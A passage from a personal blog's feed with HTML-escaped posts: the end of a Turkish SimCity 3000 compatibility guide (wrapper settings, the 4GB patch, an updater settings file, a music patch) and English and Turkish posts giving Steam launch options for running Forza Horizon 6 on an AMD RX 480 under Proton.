&lt;p&gt;Bu sarmalay&amp;inodot;c&amp;inodot; varsay&amp;inodot;lan olarak oyunu kenarl&amp;inodot;ks&amp;inodot;z pencere (borderless) modunda a&amp;ccedil;maya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. Haliyle Windows'un g&amp;ouml;rev &amp;ccedil;ubu&amp;gbreve;u oyunu ekran&amp;inodot;n alt&amp;inodot;na do&amp;gbreve;ru itip hizalamay&amp;inodot; bozuyor. Bunun &amp;ouml;n&amp;uuml;ne ge&amp;ccedil;mek i&amp;ccedil;in &lt;code&gt;Apps&lt;/code&gt; klas&amp;ouml;r&amp;uuml;ndeki &lt;code&gt;dxwrapper.ini&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; a&amp;ccedil;&amp;inodot;n ve &amp;scedil;u ayarlar&amp;inodot; yap&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;[d3d9]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;EnableWindowMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;[FullScreen]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;FullScreen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;B&amp;ouml;ylece oyun ger&amp;ccedil;ek tam ekran modunda ba&amp;scedil;lar ve g&amp;ouml;rev &amp;ccedil;ubu&amp;gbreve;uyla u&amp;gbreve;ra&amp;scedil;mazs&amp;inodot;n&amp;inodot;z.&lt;/p&gt;
&lt;h2 id="haritadaki-gri-bosluklar-yok-etmek-4gb-yamas"&gt;Haritadaki Gri Bo&amp;scedil;luklar&amp;inodot; Yok Etmek (4GB Yamas&amp;inodot;)&lt;a class="headerlink" href="#haritadaki-gri-bosluklar-yok-etmek-4gb-yamas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Haritada gezinirken baz&amp;inodot; karelerin &amp;ouml;nce gri/soluk bir kutu olarak g&amp;ouml;r&amp;uuml;n&amp;uuml;p birka&amp;ccedil; saniye sonra y&amp;uuml;klenmesi can s&amp;inodot;k&amp;inodot;c&amp;inodot;d&amp;inodot;r hac&amp;inodot;. Oyun 32-bit mimariyle yaz&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in modern sistemlerdeki devasa RAM'leri verimli kullanam&amp;inodot;yor. Oyuna biraz nefes ald&amp;inodot;rmak i&amp;ccedil;in 4GB yamas&amp;inodot;n&amp;inodot; uygulayaca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Yamay&amp;inodot; Edinin:&lt;/strong&gt; &lt;a href="https://ntcore.com/4gb-patch/" rel="noopener noreferrer" target="_blank"&gt;NTCore 4GB Patch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Arac&amp;inodot; indirip &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n, ard&amp;inodot;ndan de&amp;gbreve;i&amp;scedil;tirdi&amp;gbreve;imiz &lt;code&gt;SC3K.exe&lt;/code&gt; (veya &lt;code&gt;SC3U.exe&lt;/code&gt;)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; dosyas&amp;inodot;n&amp;inodot; se&amp;ccedil;ip yamalay&amp;inodot;n. Bilimsel olarak test etmedim ama haritay&amp;inodot; h&amp;inodot;zl&amp;inodot;ca kayd&amp;inodot;r&amp;inodot;rken grafiklerin gecikmeli gelme sorununu b&amp;inodot;&amp;ccedil;ak gibi kesti&amp;gbreve;ini s&amp;ouml;yleyebilirim.&lt;/p&gt;
&lt;h2 id="giristeki-o-bitmek-bilmeyen-bekleme-sorunu"&gt;Giri&amp;scedil;teki O Bitmek Bilmeyen Bekleme Sorunu&lt;a class="headerlink" href="#giristeki-o-bitmek-bilmeyen-bekleme-sorunu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Oyunu ilk ba&amp;scedil;latt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda ekran&amp;inodot;n dakikalarca donup kalmas&amp;inodot; veya a&amp;scedil;&amp;inodot;r&amp;inodot; yava&amp;scedil; &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot; tamamen EA/Maxis'in o d&amp;ouml;nemki g&amp;uuml;ncelleme sunucular&amp;inodot;yla alakal&amp;inodot;. Oyun a&amp;ccedil;&amp;inodot;l&amp;inodot;rken art&amp;inodot;k mezarl&amp;inodot;kta olan o g&amp;uuml;ncelleme sunucusuna ba&amp;gbreve;lanmaya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor ve yan&amp;inodot;t alamad&amp;inodot;k&amp;ccedil;a bekliyor. Bu sa&amp;ccedil;mal&amp;inodot;&amp;gbreve;&amp;inodot; kapatmak i&amp;ccedil;in sahte bir ayar dosyas&amp;inodot; kullanaca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ayar&amp;inodot; &amp;Idot;ndirin:&lt;/strong&gt; &lt;a href="https://community.simtropolis.com/omnibus/other-games/simcity-3000-unlimited-performance-problems-maxis-r329/" rel="noopener noreferrer" target="_blank"&gt;Simtropolis&lt;/a&gt; veya &lt;a href="https://files.catbox.moe/cewlvf.zip" rel="noopener noreferrer" target="_blank"&gt;Alternatif Catbox Aynas&amp;inodot;&lt;/a&gt; (MD5: &lt;code&gt;e01ec9e7568560f493ff4cbbebb0e3d4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;Idot;ndirdi&amp;gbreve;iniz zipten &amp;ccedil;&amp;inodot;kan dosyan&amp;inodot;n ad&amp;inodot;n&amp;inodot; &lt;code&gt;UpdateSettings.ini&lt;/code&gt; yap&amp;inodot;n. Sonra oyunun klas&amp;ouml;r&amp;uuml;ndeki &lt;code&gt;Apps/Updater&lt;/code&gt; dizinine gidip mevcut dosyan&amp;inodot;n &amp;uuml;zerine yaz&amp;inodot;n. Oyunu a&amp;ccedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda o dakikalar s&amp;uuml;ren donman&amp;inodot;n tarih oldu&amp;gbreve;unu g&amp;ouml;receksiniz.&lt;/p&gt;
&lt;h2 id="cd-olmadan-nostaljik-caz-melodilerini-dinlemek"&gt;CD Olmadan Nostaljik Caz Melodilerini Dinlemek&lt;a class="headerlink" href="#cd-olmadan-nostaljik-caz-melodilerini-dinlemek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;SimCity 3000'in o muazzam m&amp;uuml;zikleri olmadan oyunun tad&amp;inodot; tuzu &amp;ccedil;&amp;inodot;kmaz. Unlimited s&amp;uuml;r&amp;uuml;m&amp;uuml;nde baz&amp;inodot; m&amp;uuml;ziklerin &lt;code&gt;.ini&lt;/code&gt; dosyas&amp;inodot;nda ad&amp;inodot; ge&amp;ccedil;medi&amp;gbreve;i i&amp;ccedil;in dosyalar klas&amp;ouml;rde olsa bile oyunda &amp;ccedil;almaz.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;M&amp;uuml;zik Listesi Yamas&amp;inodot;:&lt;/strong&gt; &lt;a href="https://community.pcgamingwiki.com/files/file/2415-simcity-3000-unlimited-re-composed/" rel="noopener noreferrer" target="_blank"&gt;PC Gaming Wiki&lt;/a&gt; veya &lt;a href="https://files.catbox.moe/msx1jh.7z" rel="noopener noreferrer" target="_blank"&gt;Alternatif Catbox Aynas&amp;inodot;&lt;/a&gt; (MD5: &lt;code&gt;5877e363565850306131e564e364481c&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bu paketi do&amp;gbreve;rudan oyunun ana dizinine ay&amp;inodot;klay&amp;inodot;n.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡ CD'deki M&amp;uuml;zik Dosyalar&amp;inodot;n&amp;inodot; HDD'ye Ta&amp;scedil;&amp;inodot;mak&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er oyunu benim gibi fiziksel CD'den kurduysan&amp;inodot;z, kurulum sihirbaz&amp;inodot; m&amp;uuml;zikleri bilgisayar&amp;inodot;n&amp;inodot;za kopyalamaz. CD'nin i&amp;ccedil;erisindeki &lt;code&gt;APPS/RES/SOUND/MUSIC&lt;/code&gt; klas&amp;ouml;r&amp;uuml;ne girip oradaki t&amp;uuml;m &lt;code&gt;.xa&lt;/code&gt; uzant&amp;inodot;l&amp;inodot; dosyalar&amp;inodot; bilgisayar&amp;inodot;n&amp;inodot;zda oyunun kurulu oldu&amp;gbreve;u ayn&amp;inodot; klas&amp;ouml;re kopyalay&amp;inodot;n. B&amp;ouml;ylece CD s&amp;uuml;r&amp;uuml;c&amp;uuml;n&amp;uuml;z&amp;uuml; g&amp;uuml;r&amp;uuml;lt&amp;uuml;yle d&amp;ouml;nd&amp;uuml;rmeden m&amp;uuml;zikleri t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r dinleyebilirsiniz.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="peki-windows-11-kullananlar-ne-yapacak"&gt;Peki Windows 11 Kullananlar Ne Yapacak?&lt;a class="headerlink" href="#peki-windows-11-kullananlar-ne-yapacak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ben bu ayarlar&amp;inodot; Windows 10 LTSC 2021 kurulu test bilgisayar&amp;inodot;mda denedim ve canavar gibi sonu&amp;ccedil; ald&amp;inodot;m. Windows 11'i evdeki sistemlerime yakla&amp;scedil;t&amp;inodot;rmad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot; s&amp;inodot;k&amp;inodot; takip&amp;ccedil;ilerim bilir. Fakat ald&amp;inodot;&amp;gbreve;&amp;inodot;m geri bildirimlere g&amp;ouml;re bu ad&amp;inodot;mlar&amp;inodot; Windows 11'de uygulayanlar da sorunsuz bir &amp;scedil;ekilde &amp;scedil;ehir y&amp;ouml;netmeye ba&amp;scedil;lam&amp;inodot;&amp;scedil;lar. &amp;Ouml;zellikle ultra geni&amp;scedil; (ultrawide) ekran kullananlar (5120x2160 gibi) wrapper yard&amp;inodot;m&amp;inodot;yla oyunu devasa ekranlarda bile tam uyumlu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rm&amp;inodot;&amp;scedil;lar.&lt;/p&gt;
&lt;p&gt;Kendi ellerinizle kurdu&amp;gbreve;unuz, b&amp;uuml;t&amp;ccedil;esini kuru&amp;scedil;u kuru&amp;scedil;una hesaplad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z o &amp;scedil;ehrin duman&amp;inodot; t&amp;uuml;ten fabrikalar&amp;inodot;n&amp;inodot; izlerken bana bir te&amp;scedil;ekk&amp;uuml;r edersiniz art&amp;inodot;k.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="laboratuvardan-diger-notlar"&gt;🔗 Laboratuvardan Di&amp;gbreve;er Notlar&lt;a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Sistemleri kurcalarken ve oyunlar&amp;inodot;n dibine vururken i&amp;scedil;inize yarayacak di&amp;gbreve;er yaz&amp;inodot;lar&amp;inodot;m da &amp;scedil;urada:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/linux-space-cadet-pinball-kurulumu/"&gt;Linux'ta Nostalji R&amp;uuml;zgar&amp;inodot;: Space Cadet Pinball ve O Gizli Sabahlar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/forza-horizon-6-fh201-hatasi-cozumu/"&gt;Forza Horizon 6'y&amp;inodot; Emektar RX 480 &amp;Idot;le Oynamak (FH201 Hatas&amp;inodot; Kesin &amp;Ccedil;&amp;ouml;z&amp;uuml;m)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/lutris-installed-file-impact-ttf-not-found-cozumu/"&gt;Lutris'in impact.ttf &amp;Idot;nad&amp;inodot; ve O G&amp;inodot;c&amp;inodot;k Return Code 256 Hatas&amp;inodot;n&amp;inodot;n &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-oyunlara-turkce-yama-kurulumu/"&gt;Linux Oyunlara T&amp;uuml;rk&amp;ccedil;e Yama Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Steam kurulumunda varsay&amp;inodot;lan olarak SC3U.ini bulunmayabiliyor. Bu durumda oyunun ana klas&amp;ouml;r&amp;uuml;nde (Apps dizininde) yeni bir metin belgesi olu&amp;scedil;turup ad&amp;inodot;n&amp;inodot; &lt;code&gt;SC3U.ini&lt;/code&gt; yapman&amp;inodot;z ve i&amp;ccedil;ine bu sat&amp;inodot;rlar&amp;inodot; girmeniz yeterli.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;NTCore taraf&amp;inodot;ndan geli&amp;scedil;tirilen bu 4GB yamas&amp;inodot;, 32-bitlik uygulamalar&amp;inodot;n 64-bit i&amp;scedil;letim sistemlerinde 2GB yerine 4GB sanal bellek adreslemesini sa&amp;gbreve;lar. Bu sayede bellek ta&amp;scedil;mas&amp;inodot;ndan kaynakl&amp;inodot; &amp;ccedil;&amp;ouml;kmelerin de &amp;ouml;n&amp;uuml;ne ge&amp;ccedil;ilmi&amp;scedil; olur.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Oyun"/><category term="simcity 3000"/><category term="retro gaming"/><category term="4k gaming"/><category term="windows 10"/><category term="windows 11"/><category term="d3d wrapper"/><category term="sorun giderme"/><category term="gog"/><category term="nostalji"/></entry><entry><title>Playing Forza Horizon 6 with the Old-Timer RX 480 (Definitive FH201 Error Fix)</title><link href="https://yuceltoluyag.github.io/en/forza-horizon-6-fh201-hatasi-cozumu/" rel="alternate"/><published>2026-05-29T03:30:00+03:00</published><updated>2026-05-29T03:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/en/forza-horizon-6-fh201-hatasi-cozumu/</id><summary type="html">&lt;p&gt;I explain how to overcome the FH201 and FH205 error in Forza Horizon 6 on unsupported older AMD graphics cards (RX 400/500 series) using Proton and VKD3D parameters.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I decided to dive into Forza Horizon 6 one evening, perched at my DIY Steam Machine set up in my home lab. But thanks to Microsoft, the moment it recognized my trusty AMD RX 480, I was slapped with that familiar error: &lt;strong&gt;FH201 Error&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Apparently, Radeon 400 and 500 series graphics cards with Polaris or Vega architecture are no longer on the "minimum supported hardware" list. The easiest path would have been to hit "Refund" on Steam and call it a night with some instant noodles. But hey, we've tinkered with terminals enough to know we don't give up that easily, right? Never. With &lt;a href="https://www.reddit.com/r/linux_gaming/comments/1ti2xpd/fixes_for_forza_horizon_6_fh101_cpu_cores_or/" rel="noopener noreferrer" target="_blank"&gt;this fantastic guide on Reddit&lt;/a&gt; as my backup, I rolled up my sleeves.&lt;/p&gt;
&lt;h2 id="why-isnt-this-thing-supported"&gt;Why Isn't This Thing Supported?&lt;a class="headerlink" href="#why-isnt-this-thing-supported" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The issue boils down entirely to DirectX 12 features. The game expects the graphics card to possess certain DirectX levels at a hardware level. Our older generation cards lack these features in hardware. But thankfully, Linux's gift to the gaming world, &lt;strong&gt;Proton&lt;/strong&gt;, and &lt;strong&gt;Vulkan&lt;/strong&gt;, come to our rescue.&lt;/p&gt;
&lt;p&gt;Through Proton's translation layer, we can emulate those missing DirectX features the game expects, making it seem like they're there. Since our graphics cards fully support Vulkan, this false declaration is enough to fool the game engine&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id="the-fix-launch-parameters"&gt;The Fix: Launch Parameters&lt;a class="headerlink" href="#the-fix-launch-parameters" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If your processor is sufficient for Forza Horizon 6 (my system has an i5-10500 and it handles it quite well), all you need to do is add the following parameters to the game's launch options in Steam.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Heads up! This part is critical.&lt;/p&gt;
&lt;p&gt;When copying the command below, make sure you don't miss the &lt;code&gt;%command%&lt;/code&gt; at the end. Otherwise, the game won't launch correctly through Steam.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;VKD3D_FEATURE_LEVEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;12_1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;VKD3D_CONFIG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;descriptor_heap,no_upload_h_vram&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;RADV_EXPERIMENTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;heap,sync2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;radv_wait_for_vm_map_updates&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;%command%&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After entering this command and launching the game, that annoying FH201 screen disappears, and you can jump straight into the race.&lt;/p&gt;
&lt;h2 id="fps-and-performance-realities"&gt;FPS and Performance Realities&lt;a class="headerlink" href="#fps-and-performance-realities" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;At 1080p resolution with Low or Medium settings, it offers a quite playable experience. While you get a stable 60 FPS on Low settings, on Medium, especially in dense areas like Tokyo, the FPS can drop to around 40. But believe me, instead of shelling out several times the minimum wage for a new case, PSU, and graphics card combo, cruising along at 40 FPS feels a lot sweeter.&lt;/p&gt;
&lt;p&gt;Stay cool, folks, I'm off to push my RX 480 a bit harder on the streets of Tokyo.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="more-notes-from-the-lab"&gt;🔗 More Notes from the Lab&lt;a class="headerlink" href="#more-notes-from-the-lab" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The gaming situation on Linux isn't something you can cover in a single post. Here are some other experiences that might be useful as you tinker with your system:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/mangohud-ile-oyun-performansi-izleme/"&gt;Monitoring Game Performance with MangoHud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-gpu-driver-rehberi/"&gt;Linux GPU Driver Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/steam-debian-oyun-acilmiyor-wrong-elf-class-libgamemodeauto-hatasi-cozumu/"&gt;Steam "Wrong ELF Class" Error and Its Solution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-oyunlara-turkce-yama-kurulumu/"&gt;Installing Turkish Patches for Games on Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;This emulation is done via VKD3D (a Vulkan-based D3D12 implementation). The &lt;code&gt;VKD3D_FEATURE_LEVEL=12_1&lt;/code&gt; command is precisely for this purpose.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Oyun"/><category term="forza horizon 6"/><category term="linux gaming"/><category term="steamos"/><category term="amd rx 480"/><category term="proton"/><category term="vkd3d"/><category term="error fix"/></entry><entry><title>Forza Horizon 6'yı Emektar RX 480 İle Oynamak (FH201 Hatası Kesin Çözüm)</title><link href="https://yuceltoluyag.github.io/forza-horizon-6-fh201-hatasi-cozumu/" rel="alternate"/><published>2026-05-29T03:30:00+03:00</published><updated>2026-05-29T03:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/forza-horizon-6-fh201-hatasi-cozumu/</id><summary type="html">&lt;p&gt;Forza Horizon 6'nın desteklenmeyen eski AMD ekran kartlarında (RX 400/500 serisi) FH201 ve FH205 hatası vermesini Proton ve VKD3D parametreleriyle nasıl aştığımı anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Kendi evimdeki lab ortam&amp;inodot;mda (homelab) kurdu&amp;gbreve;um DIY Steam Machine'in ba&amp;scedil;&amp;inodot;na ge&amp;ccedil;ip ak&amp;scedil;am&amp;inodot;n bir saati Forza Horizon 6'ya dalay&amp;inodot;m dedim. Ama Microsoft sa&amp;gbreve; olsun, benim emektar AMD RX 480'e bakar bakmaz y&amp;uuml;z&amp;uuml;me o malum tokad&amp;inodot; &amp;ccedil;arpt&amp;inodot;: &lt;strong&gt;FH201 Hatas&amp;inodot;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Neymi&amp;scedil; efendim, Polaris veya Vega mimarili Radeon 400 ve 500 serisi ekran kartlar&amp;inodot; art&amp;inodot;k "minimum desteklenen donan&amp;inodot;m" listesinde de&amp;gbreve;ilmi&amp;scedil;. Steam'den "&amp;Idot;ade Et" butonuna bas&amp;inodot;p gidip makarna-yo&amp;gbreve;urt yiyerek geceyi kapatmak en kolay yoldu. Ama biz bir kere o terminalin tozunu yutmu&amp;scedil;uz hac&amp;inodot;, kolay pes eder miyiz? Asla. &lt;a href="https://www.reddit.com/r/linux_gaming/comments/1ti2xpd/fixes_for_forza_horizon_6_fh101_cpu_cores_or/" rel="noopener noreferrer" target="_blank"&gt;Reddit'teki &amp;scedil;u harika rehberi&lt;/a&gt; de arkama al&amp;inodot;p kollar&amp;inodot; s&amp;inodot;vad&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="neden-desteklenmiyor-bu-zmbrt"&gt;Neden Desteklenmiyor Bu Z&amp;inodot;mb&amp;inodot;rt&amp;inodot;?&lt;a class="headerlink" href="#neden-desteklenmiyor-bu-zmbrt" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Mevzu asl&amp;inodot;nda tamamen DirectX 12 &amp;ouml;zellikleriyle alakal&amp;inodot;. Oyun, ekran kart&amp;inodot;n&amp;inodot;n donan&amp;inodot;msal olarak baz&amp;inodot; DirectX seviyelerine sahip olmas&amp;inodot;n&amp;inodot; bekliyor. Bizim eski nesil kartlarda bu &amp;ouml;zellikler donan&amp;inodot;msal olarak yok. Fakat burada imdad&amp;inodot;m&amp;inodot;za Linux'un oyun d&amp;uuml;nyas&amp;inodot;na arma&amp;gbreve;an&amp;inodot; &lt;strong&gt;Proton&lt;/strong&gt; ve &lt;strong&gt;Vulkan&lt;/strong&gt; yeti&amp;scedil;iyor.&lt;/p&gt;
&lt;p&gt;Proton &amp;ccedil;eviri katman&amp;inodot; sayesinde, oyunun bekledi&amp;gbreve;i o eksik DirectX &amp;ouml;zelliklerini "varm&amp;inodot;&amp;scedil; gibi" taklit edebiliyoruz. Ekran kart&amp;inodot;m&amp;inodot;z Vulkan'&amp;inodot; &amp;ccedil;at&amp;inodot;r &amp;ccedil;at&amp;inodot;r destekledi&amp;gbreve;i i&amp;ccedil;in, bu sahte bildirim oyun motorunu kand&amp;inodot;rmaya yetiyor&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id="hatann-cozumu-baslatma-parametreleri"&gt;Hatan&amp;inodot;n &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;: Ba&amp;scedil;latma Parametreleri&lt;a class="headerlink" href="#hatann-cozumu-baslatma-parametreleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er i&amp;scedil;lemciniz Forza Horizon 6 i&amp;ccedil;in yeterliyse (benim sistemde i5-10500 var ve gayet rahat yetiyor), yapman&amp;inodot;z gereken tek &amp;scedil;ey Steam &amp;uuml;zerinden oyunun ba&amp;scedil;latma se&amp;ccedil;eneklerine (launch options) &amp;scedil;u parametreleri girmek.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! Hac&amp;inodot; bura &amp;ccedil;ok kritik.&lt;/p&gt;
&lt;p&gt;A&amp;scedil;a&amp;gbreve;&amp;inodot;daki komutu kopyalarken sonundaki &lt;code&gt;%command%&lt;/code&gt; k&amp;inodot;sm&amp;inodot;n&amp;inodot; atlamad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zdan emin olun. Yoksa oyun Steam &amp;uuml;zerinden tetiklenmez.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;VKD3D_FEATURE_LEVEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;12_1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;VKD3D_CONFIG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;descriptor_heap,no_upload_h_vram&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;RADV_EXPERIMENTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;heap,sync2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;radv_wait_for_vm_map_updates&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;%command%&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komutu girdikten sonra oyunu ba&amp;scedil;latt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda o sinir bozucu FH201 ekran&amp;inodot; gidiyor ve yar&amp;inodot;&amp;scedil;a do&amp;gbreve;rudan dal&amp;inodot;yorsunuz.&lt;/p&gt;
&lt;h2 id="fps-ve-performans-gercekleri"&gt;FPS ve Performans Ger&amp;ccedil;ekleri&lt;a class="headerlink" href="#fps-ve-performans-gercekleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;1080p &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kte d&amp;uuml;&amp;scedil;&amp;uuml;k (Low) veya orta (Medium) ayarlarda gayet oynanabilir bir deneyim sunuyor. D&amp;uuml;&amp;scedil;&amp;uuml;k ayarlarda sabit 60 FPS al&amp;inodot;rken, orta ayarlarda &amp;ouml;zellikle Tokyo gibi yo&amp;gbreve;un b&amp;ouml;lgelere girdi&amp;gbreve;inizde FPS 40'lara kadar d&amp;uuml;&amp;scedil;ebiliyor. Ama inan&amp;inodot;n bana, yeni bir kasa, PSU ve ekran kart&amp;inodot; &amp;uuml;&amp;ccedil;l&amp;uuml;s&amp;uuml;ne asgari &amp;uuml;cretin bilmem ka&amp;ccedil; kat&amp;inodot;n&amp;inodot; g&amp;ouml;mmektense, 40 FPS'de yanlamak &amp;ccedil;ok daha tatl&amp;inodot; geliyor.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla, ben Tokyo sokaklar&amp;inodot;nda RX 480'i biraz daha terletmeye gidiyorum.&lt;/p&gt;
&lt;hr/&gt;
